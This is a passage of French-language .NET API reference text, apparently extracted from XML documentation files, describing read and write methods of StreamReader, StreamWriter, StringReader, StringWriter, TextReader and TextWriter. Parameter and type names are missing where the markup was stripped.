inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Quand cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source actuelle. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du flux est atteinte avant que le nombre de caractères spécifié soit écrit dans la mémoire tampon, la méthode se termine. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit une ligne de caractères du flux actuel et retourne les données sous forme de chaîne. + Ligne suivante du flux d'entrée, ou null si la fin du flux d'entrée est atteinte. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + Une erreur d'E/S se produit. + 1 + + + Lit une ligne de caractères de manière asynchrone dans le flux actuel et retourne les données sous forme de chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient la ligne suivante du flux, ou a la valeur null si tous les caractères ont été lus. + Le nombre de caractères contenus dans la ligne suivante est supérieur à . + Le flux a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit tous les caractères entre la position actuelle et la fin du flux. + Le reste du flux sous forme de chaîne, de la position actuelle jusqu'à la fin.Si la position actuelle est à la fin du flux, retourne une chaîne vide (""). + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + Une erreur d'E/S se produit. + 1 + + + Lit tous les caractères entre la position actuelle et la fin du flux de manière asynchrone, puis les retourne sous la forme d'une chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient une chaîne composée des caractères allant de la position actuelle à la fin du flux. + Le nombre de caractères est supérieur à . + Le flux a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Implémente pour écrire les caractères dans un flux selon un encodage particulier.Pour parcourir le code source de .NET Framework pour ce type, consultez la Source de référence. + 1 + + + Initialise une nouvelle instance de la classe pour le flux spécifié, à l'aide de l'encodage UTF-8 et de la taille de la mémoire tampon par défaut. + Le flux dans lequel écrire. + + n'est pas accessible en écriture. + + a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, à l'aide de l'encodage spécifié et de la taille de mémoire tampon par défaut. + Le flux dans lequel écrire. + Encodage des caractères à utiliser. + + ou est null. + + n'est pas accessible en écriture. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, à l'aide de l'encodage et de la taille de mémoire tampon spécifiés. + Le flux dans lequel écrire. + Encodage des caractères à utiliser. + Taille de la mémoire tampon en octets. + + ou est null. + + est négatif. + + n'est pas accessible en écriture. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, à l'aide de l'encodage et de la taille de mémoire tampon spécifiés, et permet éventuellement de laisser le flux ouvert. + Le flux dans lequel écrire. + Encodage des caractères à utiliser. + Taille de la mémoire tampon en octets. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + + ou est null. + + est négatif. + + n'est pas accessible en écriture. + + + Obtient ou définit une valeur indiquant si vide sa mémoire tampon vers le flux sous-jacent après chaque appel à . + true pour forcer à vider sa mémoire tampon ; sinon, false. + 1 + + + Obtient le flux sous-jacent qui sert d'interface avec un magasin de stockage. + Flux dans lequel ce StreamWriter écrit. + 2 + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + L'encodage actuel ne prend pas en charge l'affichage de la moitié d'une paire de substitution Unicode. + + + Obtient le dans lequel la sortie est écrite. + + spécifié dans le constructeur pour l'instance actuelle, ou si aucun encodage n'est spécifié. + 2 + + + Efface toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon dans le flux sous-jacent. + Le writer actuel est fermé. + Une erreur d'E/S s'est produite. + L'encodage actuel ne prend pas en charge l'affichage de la moitié d'une paire de substitution Unicode. + 1 + + + Efface toutes les mémoires tampons pour ce flux de manière asynchrone et provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent. + Tâche qui représente l'opération de vidage asynchrone. + Le flux a été supprimé. + + + Fournit un StreamWriter sans magasin de sauvegarde dans lequel il est possible d'écrire, mais qu'il est impossible de lire. + 1 + + + Écrit un caractère dans le flux. + Caractère à écrire dans le flux. + Une erreur d'E/S se produit. + + a la valeur true ou la mémoire tampon de est saturée, et le writer actuel est fermé. + + a la valeur true ou la mémoire tampon de est saturée, et le contenu de la mémoire tampon ne peut pas être écrit dans le flux de taille fixe sous-jacent, car se trouve à la fin du flux. + 1 + + + Écrit un tableau de caractères dans le flux. + Tableau de caractères contenant les données à écrire.Si est null, rien n'est écrit. + Une erreur d'E/S se produit. + + a la valeur true ou la mémoire tampon de est saturée, et le writer actuel est fermé. + + a la valeur true ou la mémoire tampon de est saturée, et le contenu de la mémoire tampon ne peut pas être écrit dans le flux de taille fixe sous-jacent, car se trouve à la fin du flux. + 1 + + + Écrit un sous-tableau de caractères dans le flux. + Tableau de caractères contenant les données à écrire. + Position du caractère dans la mémoire tampon où la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + Une erreur d'E/S se produit. + + a la valeur true ou la mémoire tampon de est saturée, et le writer actuel est fermé. + + a la valeur true ou la mémoire tampon de est saturée, et le contenu de la mémoire tampon ne peut pas être écrit dans le flux de taille fixe sous-jacent, car se trouve à la fin du flux. + 1 + + + Écrit une chaîne dans le flux. + Chaîne à écrire dans le flux.Si a la valeur null, rien n'est écrit. + + a la valeur true ou la mémoire tampon de est saturée, et le writer actuel est fermé. + + a la valeur true ou la mémoire tampon de est saturée, et le contenu de la mémoire tampon ne peut pas être écrit dans le flux de taille fixe sous-jacent, car se trouve à la fin du flux. + Une erreur d'E/S se produit. + 1 + + + Écrit un caractère dans le flux de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans le flux. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères dans le flux de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères contenant les données à écrire. + Position du caractère dans la mémoire où commencer la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne dans le flux de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire dans le flux.Si est null, rien n'est écrit. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un terminateur de ligne dans le flux de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit dans le flux un caractère suivi d'un terminateur de ligne de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans le flux. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères suivi d'un terminateur de ligne de façon asynchrone dans le flux. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position du caractère dans la mémoire tampon où la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne suivie d'un terminateur de ligne de façon asynchrone dans le flux. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si la valeur est null, seul le terminateur de ligne est écrit. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Implémente qui lit une chaîne. + 2 + + + Initialise une nouvelle instance de la classe qui lit la chaîne spécifiée. + Chaîne à laquelle doit être initialisé. + Le paramètre est null. + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour libérer uniquement les ressources non managées. + + + Retourne le prochain caractère disponible, mais ne le consomme pas. + Entier représentant le prochain caractère à lire, ou -1 si plus aucun caractère n'est disponible ou si le flux ne prend pas en charge la recherche. + Le lecteur actuel est fermé. + 2 + + + Lit le caractère suivant dans la chaîne d'entrée et avance sa position d'un caractère. + Caractère suivant de la chaîne sous-jacente, ou -1 si plus aucun caractère n'est disponible. + Le lecteur actuel est fermé. + 2 + + + Lit un bloc de caractères dans la chaîne d'entrée et avance la position du caractère de . + Nombre total de caractères lus dans la mémoire tampon.Cela peut être inférieur au nombre de caractères demandé si ce nombre n'est pas actuellement disponible, ou égal à zéro si la fin de la chaîne sous-jacente a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Index de début dans la mémoire tampon. + Nombre de caractères à lire. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + Le lecteur actuel est fermé. + 2 + + + Lit un nombre maximal spécifié de caractères à partir de la chaîne actuelle de manière asynchrone, et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur de résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin de la chaîne a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin de la chaîne est atteinte avant que le nombre de caractères spécifié soit écrit dans la mémoire tampon, la méthode est retournée. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le lecteur de chaîne a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit un nombre maximal spécifié de caractères à partir de la chaîne actuelle de manière asynchrone, et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur de résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin de la chaîne a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin de la chaîne est atteinte avant que le nombre de caractères spécifié soit écrit dans la mémoire tampon, la méthode est retournée. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le lecteur de chaîne a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit une ligne de caractères à partir de la chaîne en cours et retourne les données sous forme de chaîne. + Ligne suivante dans la chaîne actuelle ou null si la fin de la chaîne est atteinte. + Le lecteur actuel est fermé. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + 2 + + + Lit une ligne de caractères de manière asynchrone à partir de la chaîne en cours et retourne les données sous forme de chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient la ligne suivante issue du lecteur de chaîne, ou a la valeur null si tous les caractères ont été lus. + Le nombre de caractères contenus dans la ligne suivante est supérieur à . + Le lecteur de chaîne a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit tous les caractères entre la position actuelle et la fin de la chaîne, puis les retourne sous la forme d'une chaîne unique. + Contenu à partir de la position actuelle jusqu'à la fin du flux sous-jacent. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + Le lecteur actuel est fermé. + 2 + + + Lit tous les caractères entre la position actuelle et la fin de la chaîne de manière asynchrone, puis les retourne sous la forme d'une chaîne unique. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient une chaîne composée des caractères de la position actuelle jusqu'à la fin de la chaîne. + Le nombre de caractères est supérieur à . + Le lecteur de chaîne a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Implémente pour l'écriture d'informations dans une chaîne.Les informations sont stockées dans un sous-jacent. + 2 + + + Initialise une nouvelle instance de la classe . + + + Initialise une nouvelle instance de la classe avec le contrôle de format spécifié. + Objet qui contrôle la mise en forme. + + + Initialise une nouvelle instance de la classe qui écrit dans le spécifié. + StringBuilder dans lequel écrire. + + a la valeur null. + + + Initialise une nouvelle instance de la classe qui écrit dans le spécifié et possède le fournisseur de formats donné. + StringBuilder dans lequel écrire. + Objet qui contrôle la mise en forme. + + a la valeur null. + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour libérer uniquement les ressources non managées. + + + Obtient le dans lequel la sortie est écrite. + Encoding dans lequel la sortie est écrite. + 1 + + + Efface de façon asynchrone toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon sur le périphérique sous-jacent. + Tâche qui représente l'opération de vidage asynchrone. + + + Retourne le sous-jacent. + StringBuilder sous-jacent. + 2 + + + Retourne une chaîne contenant les caractères écrits jusqu'ici dans le StringWriter en cours. + Chaîne contenant les caractères écrits dans le StringWriter en cours. + 2 + + + Écrit un caractère dans la chaîne. + Caractère à écrire. + Le writer est fermé. + 2 + + + Écrit un sous-tableau de caractères dans la chaîne. + Tableau de caractères à partir duquel les données doivent être écrites. + Position dans la mémoire tampon à laquelle commencer la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + ou est négatif. + ( + )> .Length. + Le writer est fermé. + 2 + + + Écrit une chaîne dans la chaîne actuelle. + Chaîne à écrire. + Le writer est fermé. + 2 + + + Écrit un caractère dans la chaîne de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans la chaîne. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères dans la chaîne de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position dans la mémoire tampon à laquelle commencer la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne dans la chaîne actuelle de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si est null, rien n'est écrit dans le flux de texte. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit dans la chaîne un caractère suivi d'un terminateur de ligne de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans la chaîne. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères suivi d'un terminateur de ligne de façon asynchrone dans la chaîne. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position dans la mémoire tampon à laquelle commencer la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne suivie par un terminateur de ligne de façon asynchrone dans la chaîne actuelle. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si la valeur est null, seul le terminateur de ligne est écrit. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Représente un lecteur capable de lire une série séquentielle de caractères. + 2 + + + Initialise une nouvelle instance de la classe . + + + Libère toutes les ressources utilisées par . + + + Libère les ressources non managées utilisées par l'objet et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + Fournit un TextReader sans données à lire. + 1 + + + Lit le caractère suivant sans modifier l'état du lecteur ou la source du caractère.Retourne le prochain caractère disponible sans le lire réellement à partir du flux lecteur. + Entier représentant le prochain caractère à lire, ou -1 si plus aucun caractère n'est disponible ou si le lecteur ne prend pas en charge la recherche. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Lit le caractère suivant à partir du lecteur de texte et avance la position d'un caractère. + Caractère suivant du lecteur de texte ou -1 s'il n'y a plus de caractères disponibles.L'implémentation par défaut retourne -1. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Lit un nombre maximal spécifié de caractères à partir du lecteur actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Nombre de caractères lus.Le nombre sera inférieur ou égal à , selon les données disponibles dans le lecteur.Cette méthode retourne zéro si elle est appelée alors qu'il ne reste aucun caractère à lire. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du lecteur est atteinte avant que le nombre de caractères spécifié soit lu dans la mémoire tampon, la méthode est retournée. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Lit de façon asynchrone un nombre maximal de caractères spécifié dans le lecteur de texte actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur de résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du texte a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du texte est atteinte avant que le nombre de caractères spécifié soit lu dans la mémoire tampon, la méthode en cours est retournée. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le lecteur de texte a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit un nombre maximal spécifié de caractères à partir du lecteur de texte actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Nombre de caractères lus.Le nombre sera inférieur ou égal à , selon que tous les caractères d'entrée ont été lus. + Lorsque cette méthode est retournée, ce paramètre contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + -1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + + est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit de façon asynchrone un nombre maximal de caractères spécifié dans le lecteur de texte actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur de résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du texte a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du texte est atteinte avant que le nombre de caractères spécifié soit lu dans la mémoire tampon, la méthode en cours est retournée. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le lecteur de texte a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit une ligne de caractères à partir du lecteur de texte et retourne les données sous forme de chaîne. + La ligne suivante du lecteur ou null si tous les caractères ont été lus. + Une erreur d'E/S se produit. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + + est fermé. + Le nombre de caractères contenus dans la ligne suivante est supérieur à + 1 + + + Lit une ligne de caractères de manière asynchrone et retourne les données sous forme de chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient la ligne suivante issue du lecteur de texte, ou a la valeur null si tous les caractères ont été lus. + Le nombre de caractères contenus dans la ligne suivante est supérieur à . + Le lecteur de texte a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit tous les caractères entre la position actuelle et la fin du lecteur de texte, puis les retourne sous forme d'une chaîne. + Chaîne contenant tous les caractères entre la position actuelle et la fin du lecteur de texte. + Une erreur d'E/S se produit. + + est fermé. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + Le nombre de caractères contenus dans la ligne suivante est supérieur à + 1 + + + Lit tous les caractères entre la position actuelle et la fin du lecteur de texte de manière asynchrone, puis les retourne sous la forme d'une chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient une chaîne composée des caractères de la position actuelle jusqu'à la fin du flux du lecteur de texte. + Le nombre de caractères est supérieur à . + Le lecteur de texte a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Représente un writer capable d'écrire une série de caractères séquentiels.Cette classe est abstraite. + 2 + + + Initialise une nouvelle instance de la classe . + + + Initialise une nouvelle instance de la classe avec le fournisseur de format spécifié. + Objet qui contrôle la mise en forme. + + + Stocke les caractères de saut de ligne utilisés pour ce TextWriter. + + + Libère toutes les ressources utilisées par l'objet . + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + En cas de substitution dans une classe dérivée, retourne l'encodage de caractères dans lequel la sortie est écrite. + Encodage de caractères dans lequel la sortie est écrite. + 1 + + + Efface toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent. + 1 + + + Efface de façon asynchrone toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent. + Tâche qui représente l'opération de vidage asynchrone. + Le writer de texte est supprimé. + Le writer est actuellement utilisé par une opération d'écriture précédente. + + + Obtient un objet qui contrôle la mise en forme. + Objet pour une culture spécifique, ou mise en forme de la culture actuelle si aucune autre culture n'est spécifiée. + 2 + + + Obtient ou définit la chaîne de marque de fin de ligne utilisée pour le TextWriter actuel. + Chaîne de marque de fin de ligne pour le TextWriter actuel. + 2 + + + Fournit un élément TextWriter sans magasin de stockage dans lequel il est possible d'écrire, mais pas de lire. + 1 + + + Écrit la représentation textuelle d'une valeur Boolean dans la chaîne ou le flux de texte. + La valeur Boolean à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un caractère dans la chaîne ou le flux de texte. + Caractère à écrire dans le flux de texte. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un tableau de caractères dans la chaîne ou le flux de texte. + Tableau de caractères à écrire dans le flux de texte. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un sous-tableau de caractères dans la chaîne ou le flux de texte. + Tableau de caractères à partir duquel les données doivent être écrites. + Position du caractère dans la mémoire tampon à laquelle commencer la récupération des données. + Nombre de caractères à écrire. + La longueur de la mémoire tampon moins est inférieure à . + Le paramètre a la valeur null. + + ou est négatif. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur décimale dans la chaîne ou le flux de texte. + Valeur décimale à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur à virgule flottante de 8 octets dans la chaîne ou le flux de texte. + Valeur à virgule flottante de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier signé de 4 octets dans la chaîne ou le flux de texte. + Entier signé de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier signé de 8 octets dans la chaîne ou le flux de texte. + Entier signé de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un objet dans la chaîne ou le flux de texte en appelant la méthode ToString sur cet objet. + Objet à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur à virgule flottante de 4 octets dans la chaîne ou le flux de texte. + Valeur à virgule flottante de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une chaîne dans la chaîne ou le flux de texte. + Chaîne à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une chaîne mise en forme dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à un). + 1 + + + Écrit une chaîne mise en forme dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Premier objet à mettre en forme et à écrire. + Deuxième objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à deux). + 1 + + + Écrit une chaîne mise en forme dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Premier objet à mettre en forme et à écrire. + Deuxième objet à mettre en forme et à écrire. + Troisième objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à trois). + 1 + + + Écrit une chaîne mise en forme dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Tableau d'objets contenant aucun, un ou plusieurs objets à mettre en forme et à écrire. + + ou a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de mise en forme est inférieur à 0 (zéro), ou supérieur ou égal à la longueur du tableau . + 1 + + + Écrit la représentation textuelle d'un entier non signé de 4 octets dans la chaîne ou le flux de texte. + Entier non signé de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier non signé de 8 octets dans la chaîne ou le flux de texte. + Entier non signé de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un caractère de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans le flux de texte. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un tableau de caractères de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à écrire dans le flux de texte.Si a la valeur null, rien n'est écrit. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position du caractère dans la mémoire tampon à laquelle commencer la récupération des données. + Nombre de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si a la valeur null, rien n'est écrit dans le flux de texte. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une marque de fin de ligne dans la chaîne ou le flux de texte. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur Boolean suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + La valeur Boolean à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un caractère suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Caractère à écrire dans le flux de texte. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un tableau de caractères suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Tableau de caractères dans lequel sont lues des données. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un sous-tableau de caractères suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Tableau de caractères dans lequel sont lues des données. + Dans , position de caractère à laquelle commencer la lecture des données. + Nombre maximal de caractères à écrire. + La longueur de la mémoire tampon moins est inférieure à . + Le paramètre a la valeur null. + + ou est négatif. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur décimale suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Valeur décimale à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur à virgule flottante de 8 octets suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Valeur à virgule 